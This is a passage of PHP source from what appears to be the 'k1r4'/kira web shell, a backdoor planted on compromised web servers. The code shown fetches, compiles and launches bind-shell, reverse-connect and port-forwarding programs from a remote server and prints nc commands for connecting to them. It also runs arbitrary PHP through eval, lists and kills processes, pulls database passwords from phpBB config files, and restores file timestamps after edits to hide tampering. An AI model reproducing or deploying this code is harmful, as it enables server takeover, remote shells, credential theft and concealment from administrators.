2120    echo "<tr>
2121 ";
2122    foreach($row as $v) {echo "<td>".$v."</td>
2123 ";}
2124    echo "</tr>
2125 ";
2126   }
2127   echo "</table><hr size=\"1\" noshade><p align=\"right\">
2128   <script>
2129   function ls_setcheckboxall(status)
2130   {
2131    var id = 1;
2132    var num = ".(count($table)-2).";
2133    while (id <= num)
2134    {
2135     document.getElementById('actbox'+id).checked = status;
2136     id++;
2137    }
2138   }
2139   function ls_reverse_all()
2140   {
2141    var id = 1;
2142    var num = ".(count($table)-2).";
2143    while (id <= num)
2144    {
2145     document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
2146     id++;
2147    }
2148   }
2149   </script>
2150   <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> 
2151   <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
2152   if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
2153   {
2154    echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
2155   }
2156   echo "<select name=act><option value=\"".$act."\">With selected:</option>";
2157   echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
2158   echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
2159   if ($usefsbuff)
2160   {
2161    echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
2162    echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
2163    echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
2164   }
2165   echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
2166   echo "</form>";
2167  }
2168 }
2169 if ($act == "tools")
2170 {
2171  $bndportsrcs = array(
2172   "k1r4_bindport.pl"=>array("Using PERL","perl %path %port"),
2173   "k1r4_bindport.c"=>array("Using C","%path %port %pass")
2174  );
2175  $bcsrcs = array(
2176   "k1r4_backconn.pl"=>array("Using PERL","perl %path %host %port"),
2177   "k1r4_backconn.c"=>array("Using C","%path %host %port")
2178  );
2179  $dpsrcs = array(
2180   "k1r4_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
2181   "k1r4_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
2182  );
2183  if (!is_array($bind)) {$bind = array();}
2184  if (!is_array($bc)) {$bc = array();}
2185  if (!is_array($datapipe)) {$datapipe = array();}
2186  
2187  if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
2188  if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
2189   
2190  if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
2191  if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
2192  
2193  if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
2194  if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
2195  if (!empty($bindsubmit))
2196  {
2197   echo "<b>Result of binding port:</b><br>";
2198   $v = $bndportsrcs[$bind["src"]];
2199   if (empty($v)) {echo "Unknown file!<br>";}
2200   elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
2201   else
2202   {
2203    $w = explode(".",$bind["src"]);
2204    $ext = $w[count($w)-1];
2205    unset($w[count($w)-1]);
2206    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
2207    $binpath = $tmpdir.join(".",$w).rand(0,999);
2208    if ($ext == "pl") {$binpath = $srcpath;}
2209    @unlink($srcpath);
2210    $fp = fopen($srcpath,"ab+");
2211    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
2212    elseif (!$data = k1r4getsource($bind["src"])) {echo "Can't download sources!";}
2213    else
2214    {
2215     fwrite($fp,$data,strlen($data));
2216     fclose($fp);
2217     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}
2218     $v[1] = str_replace("%path",$binpath,$v[1]);
2219     $v[1] = str_replace("%port",$bind["port"],$v[1]);
2220     $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
2221     $v[1] = str_replace("//","/",$v[1]);
2222     $retbind = myshellexec($v[1]." > /dev/null &");
2223     sleep(5);
2224     $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
2225     if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
2226     else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}
2227    }
2228    echo "<br>";
2229   }
2230  }
2231  if (!empty($bcsubmit))
2232  {
2233   echo "<b>Result of back connection:</b><br>";
2234   $v = $bcsrcs[$bc["src"]];
2235   if (empty($v)) {echo "Unknown file!<br>";}
2236   else
2237   {
2238    $w = explode(".",$bc["src"]);
2239    $ext = $w[count($w)-1];
2240    unset($w[count($w)-1]);
2241    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
2242    $binpath = $tmpdir.join(".",$w).rand(0,999);
2243    if ($ext == "pl") {$binpath = $srcpath;}
2244    @unlink($srcpath);
2245    $fp = fopen($srcpath,"ab+");
2246    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
2247    elseif (!$data = k1r4getsource($bc["src"])) {echo "Can't download sources!";}
2248    else
2249    {
2250     fwrite($fp,$data,strlen($data));
2251     fclose($fp);
2252     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
2253     $v[1] = str_replace("%path",$binpath,$v[1]);
2254     $v[1] = str_replace("%host",$bc["host"],$v[1]);
2255     $v[1] = str_replace("%port",$bc["port"],$v[1]);
2256     $v[1] = str_replace("//","/",$v[1]);
2257     $retbind = myshellexec($v[1]." > /dev/null &");
2258     echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
2259    }
2260   }
2261  }
2262  if (!empty($dpsubmit))
2263  {
2264   echo "<b>Result of datapipe-running:</b><br>";
2265   $v = $dpsrcs[$datapipe["src"]];
2266   if (empty($v)) {echo "Unknown file!<br>";}
2267   elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
2268   else
2269   {
2270    $srcpath = $tmpdir.$datapipe["src"];
2271    $w = explode(".",$datapipe["src"]);
2272    $ext = $w[count($w)-1];
2273    unset($w[count($w)-1]);
2274    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
2275    $binpath = $tmpdir.join(".",$w).rand(0,999);
2276    if ($ext == "pl") {$binpath = $srcpath;}
2277    @unlink($srcpath);
2278    $fp = fopen($srcpath,"ab+");
2279    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
2280    elseif (!$data = k1r4getsource($datapipe["src"])) {echo "Can't download sources!";}
2281    else
2282    {
2283     fwrite($fp,$data,strlen($data));
2284     fclose($fp);
2285     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
2286     list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
2287     $v[1] = str_replace("%path",$binpath,$v[1]);
2288     $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
2289     $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
2290     $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
2291     $v[1] = str_replace("//","/",$v[1]);
2292     $retbind = myshellexec($v[1]." > /dev/null &");
2293     sleep(5);
2294     $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
2295     if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
2296     else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";}
2297    }
2298    echo "<br>";
2299   }
2300  }
2301  ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
2302  foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
2303  ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form>
2304 <b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
2305 foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
2306 ?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>
2307 Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
2308 <b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php
2309 foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
2310 ?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php
2311 }
2312 if ($act == "processes")
2313 {
2314  echo "<b>Processes:</b><br>";
2315  if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
2316  else {$handler = "tasklist";}
2317  $ret = myshellexec($handler);
2318  if (!$ret) {echo "Can't execute \"".$handler."\"!";}
2319  else
2320  {
2321   if (empty($processes_sort)) {$processes_sort = $sort_default;}
2322   $parsesort = parsesort($processes_sort);
2323   if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
2324   $k = $parsesort[0];
2325   if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
2326   else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
2327   $ret = htmlspecialchars($ret);
2328   if (!$win)
2329   {
2330    if ($pid)
2331    {
2332     if (is_null($sig)) {$sig = 9;}
2333     echo "Sending signal ".$sig." to #".$pid."... ";
2334     if (posix_kill($pid,$sig)) {echo "OK.";}
2335     else {echo "ERROR.";}
2336    }
2337    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
2338    $stack = explode("
2339 ",$ret);
2340    $head = explode(" ",$stack[0]);
2341    unset($stack[0]);
2342    for($i=0;$i<count($head);$i++)
2343    {
2344     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
2345    }
2346    $prcs = array();
2347    foreach ($stack as $line)
2348    {
2349     if (!empty($line))
2350 {
2351  echo "<tr>";
2352      $line = explode(" ",$line);
2353      $line[10] = join(" ",array_slice($line,10));
2354      $line = array_slice($line,0,11);
2355      if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
2356      $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
2357      $prcs[] = $line;
2358      echo "</tr>";
2359     }
2360    }
2361   }
2362   else
2363   {
2364    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
2365    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
2366    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
2367    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
2368    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
2369    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
2370    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
2371    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
2372    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
2373    while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
2374    while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
2375    $ret = convert_cyr_string($ret,"d","w");
2376    $stack = explode("
2377 ",$ret);
2378    unset($stack[0],$stack[2]);
2379    $stack = array_values($stack);
2380    $head = explode("",$stack[0]);
2381    $head[1] = explode(" ",$head[1]);
2382    $head[1] = $head[1][0];
2383    $stack = array_slice($stack,1);
2384    unset($head[2]);
2385    $head = array_values($head);
2386    if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
2387    else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
2388    if ($k > count($head)) {$k = count($head)-1;}
2389    for($i=0;$i<count($head);$i++)
2390    {
2391     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
2392    }
2393    $prcs = array();
2394    foreach ($stack as $line)
2395    {
2396     if (!empty($line))
2397     {
2398      echo "<tr>";
2399      $line = explode("",$line);
2400      $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
2401      $line[2] = intval(str_replace(" ","",$line[2]))*1024; 
2402      $prcs[] = $line;
2403      echo "</tr>";
2404     }
2405    }
2406   }
2407   $head[$k] = "<b>".$head[$k]."</b>".$y;
2408   $v = $processes_sort[0];
2409   usort($prcs,"tabsort");
2410   if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
2411   $tab = array();
2412   $tab[] = $head;
2413   $tab = array_merge($tab,$prcs);
2414   echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
2415   foreach($tab as $i=>$k)
2416   {
2417    echo "<tr>";
2418    foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
2419    echo "</tr>";
2420   }
2421   echo "</table>";
2422  }
2423 }
2424 if ($act == "eval")
2425 {
2426  if (!empty($eval))
2427  {
2428   echo "<b>Result of execution this PHP-code</b>:<br>";
2429   $tmp = ob_get_contents();
2430   $olddir = realpath(".");
2431   @chdir($d);
2432   if ($tmp)
2433   {
2434    ob_clean();
2435    eval($eval);
2436    $ret = ob_get_contents();
2437    $ret = convert_cyr_string($ret,"d","w");
2438    ob_clean();
2439    echo $tmp;
2440    if ($eval_txt)
2441    {
2442     $rows = count(explode("
2443 ",$ret))+1;
2444     if ($rows < 10) {$rows = 10;}
2445     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
2446    }
2447    else {echo $ret."<br>";}
2448   }
2449   else
2450   {
2451    if ($eval_txt)
2452    {
2453     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
2454     eval($eval);
2455     echo "</textarea>";
2456    }
2457    else {echo $ret;}
2458   }
2459   @chdir($olddir);
2460  }
2461  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
2462  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
2463 }
2464 if ($act == "f")
2465 {
2466  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
2467  {
2468   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
2469   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
2470  }
2471  else
2472  {
2473   $r = @file_get_contents($d.$f);
2474   $ext = explode(".",$f);
2475   $c = count($ext)-1;
2476   $ext = $ext[$c];
2477   $ext = strtolower($ext);
2478   $rft = "";
2479   foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
2480   if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
2481   if (empty($ft)) {$ft = $rft;}
2482   $arr = array(
2483    array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
2484    array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
2485    array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
2486    array("Code","code"),
2487    array("Session","phpsess"),
2488    array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
2489    array("SDB","sdb"),
2490    array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
2491    array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
2492    array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
2493    array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
2494    array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
2495   );
2496   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
2497   foreach($arr as $t)
2498   {
2499    if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
2500    elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
2501    else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
2502    echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
2503   }
2504   echo "<hr size=\"1\" noshade>";
2505   if ($ft == "info")
2506   {
2507    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
2508    if (!$win)
2509    {
2510     echo "<tr><td><b>Owner/Group</b></td><td> ";    
2511     $ow = posix_getpwuid(fileowner($d.$f));
2512     $gr = posix_getgrgid(filegroup($d.$f));
2513     echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
2514    }
2515    echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
2516    $fi = fopen($d.$f,"rb");
2517    if ($fi)
2518    {
2519     if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
2520     else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
2521     $n = 0;
2522     $a0 = "00000000<br>";
2523     $a1 = "";
2524     $a2 = "";
2525     for ($i=0; $i<strlen($str); $i++)
2526     {
2527      $a1 .= sprintf("%02X",ord($str[$i]))." ";
2528      switch (ord($str[$i]))
2529      {
2530       case 0:  $a2 .= "<font>0</font>"; break;
2531       case 32:
2532       case 10:
2533       case 13: $a2 .= "&nbsp;"; break;
2534       default: $a2 .= htmlspecialchars($str[$i]);
2535      }
2536      $n++;
2537      if ($n == $hexdump_rows)
2538      {
2539       $n = 0;
2540       if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
2541       $a1 .= "<br>";
2542       $a2 .= "<br>";
2543      }
2544     }
2545     //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
2546     echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
2547    }
2548    $encoded = "";
2549    if ($base64 == 1)
2550    {
2551     echo "<b>Base64 Encode</b><br>";
2552     $encoded = base64_encode(file_get_contents($d.$f));
2553    }
2554    elseif($base64 == 2)
2555    {
2556     echo "<b>Base64 Encode + Chunk</b><br>";
2557     $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
2558    }
2559    elseif($base64 == 3)
2560    {
2561     echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
2562     $encoded = base64_encode(file_get_contents($d.$f));
2563     $encoded = substr(preg_replace("!.{1,76}!","''.
2564 ",$encoded),0,-2);
2565    }
2566    elseif($base64 == 4)
2567    {
2568     $text = file_get_contents($d.$f);
2569     $encoded = base64_decode($text);
2570     echo "<b>Base64 Decode";
2571     if (base64_encode($encoded) != $text) {echo " (failed)";}
2572     echo "</b><br>";
2573    }
2574    if (!empty($encoded))
2575    {
2576     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
2577    }
2578    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
2579 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
2580 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
2581 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
2582 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
2583 <P>";
2584   }
2585   elseif ($ft == "html")
2586   {
2587    if ($white) {@ob_clean();}
2588    echo $r;
2589    if ($white) {k1r4exit();}
2590   }
2591   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
2592   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
2593   elseif ($ft == "phpsess")
2594   {
2595    echo "<pre>";
2596    $v = explode("|",$r);
2597    echo $v[0]."<br>";
2598    var_dump(unserialize($v[1]));
2599    echo "</pre>";
2600   }
2601   elseif ($ft == "exe")
2602   {
2603    $ext = explode(".",$f);
2604    $c = count($ext)-1;
2605    $ext = $ext[$c];
2606    $ext = strtolower($ext);
2607    $rft = "";
2608    foreach($exeftypes as $k=>$v)
2609    {
2610     if (in_array($ext,$v)) {$rft = $k; break;}
2611    }
2612    $cmd = str_replace("%f%",$f,$rft);
2613    echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
2614   }
2615   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
2616   elseif ($ft == "code")
2617   {
2618    if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
2619    {
2620     $arr = explode("
2621 ",$r);
2622     if (count($arr == 18))
2623     {
2624      include($d.$f);
2625      echo "<b>phpBB configuration is detected in this file!<br>";
2626      if ($dbms == "mysql4") {$dbms = "mysql";}
2627      if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
2628      else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by kira. Please, report us for fix.";}
2629      echo "Parameters for manual connect:<br>";
2630      $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
2631      foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
2632      echo "</b><hr size=\"1\" noshade>";
2633     }
2634    }
2635    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
2636    if (!empty($white)) {@ob_clean();}
2637    highlight_file($d.$f);
2638    if (!empty($white)) {k1r4exit();}
2639    echo "</div>";
2640   }
2641   elseif ($ft == "download")
2642   {
2643    @ob_clean();
2644    header("Content-type: application/octet-stream");
2645    header("Content-length: ".filesize($d.$f));
2646    header("Content-disposition: attachment; filename=\"".$f."\";");
2647    echo $r;
2648    exit;
2649   }
2650   elseif ($ft == "notepad")
2651   {
2652    @ob_clean();
2653    header("Content-type: text/plain");
2654    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
2655    echo($r);
2656    exit;
2657   }
2658   elseif ($ft == "img")
2659   {
2660    $inf = getimagesize($d.$f);
2661    if (!$white)
2662    {
2663     if (empty($imgsize)) {$imgsize = 20;}
2664     $width = $inf[0]/100*$imgsize;
2665     $height = $inf[1]/100*$imgsize;
2666     echo "<center><b>Size:</b>&nbsp;";
2667     $sizes = array("100","50","20");
2668     foreach ($sizes as $v)
2669     {
2670      echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
2671      if ($imgsize != $v ) {echo $v;}
2672      else {echo "<u>".$v."</u>";}
2673      echo "</a>&nbsp;&nbsp;&nbsp;";
2674     }
2675     echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
2676    }
2677    else
2678    {
2679     @ob_clean();
2680     $ext = explode($f,".");
2681     $ext = $ext[count($ext)-1];
2682     header("Content-type: ".$inf["mime"]);
2683     readfile($d.$f);
2684     exit;
2685    }
2686   }
2687   elseif ($ft == "edit")
2688   {
2689    if (!empty($submit))
2690    {
2691     if ($filestealth) {$stat = stat($d.$f);}
2692     $fp = fopen($d.$f,"w");
2693     if (!$fp) {echo "<b>Can't write to file!</b>";}
2694     else
2695     {
2696      echo "<b>Saved!</b>";
2697      fwrite($fp,$edit_text);
2698      fclose($fp);
2699      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
2700      $r = $edit_text;
2701     }
2702    }
2703    $rows = count(explode("
